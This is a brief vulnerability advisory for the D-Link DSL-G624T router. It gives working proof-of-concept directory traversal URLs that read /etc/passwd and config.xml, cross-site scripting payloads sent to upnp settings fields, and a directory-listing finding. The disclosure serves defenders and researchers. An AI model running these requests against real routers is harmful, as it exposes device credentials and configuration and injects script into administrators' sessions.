D-Link DSL-G624T ADSL Router is vulnerable to several securities. Directory transversal http://router/cgi-bin/webcm?getpage=/./././././././etc/passwd http://router/cgi-bin/webcm?getpage=/./././././././etc/config.xml Cross Site Scripting Url:: http://router/cgi-bin/webcm Method:: POST Variable:: upnp%3Asettings%2Fstate Value:: >"><ScRiPt%20%0a%0d>alert(20102006)%3B</ScRiPt> Url:: http://router/cgi-bin/webcm Method:: POST Variable:: upnp%3Asettings%2Fconnection Value:: >"><ScRiPt%20%0a%0d>alert(20102006)%3B</ScRiPt> Url:: http://router/cgi-bin/webcm Method:: POST Variable:: upnp%3Asettings%2Fconnection Value:: "+onmouseover="alert(20102006) Directory listing Is possible to list the /cgi-bin directory Tested on D-Link DSL-G624T Version: Firmware Version : V3.00B01T01.YA-C.20060616 Discovered by: Jos Ramn Palanco: jose.palanco(at)eazel(dot).es http://www.eazel.es Original advisory: http://www.eazel.es/advisory005-D-Link-DSL-G624T-directoy-transversal-xs s-cross-site-scripting-directory-listing-vulnerabilities.html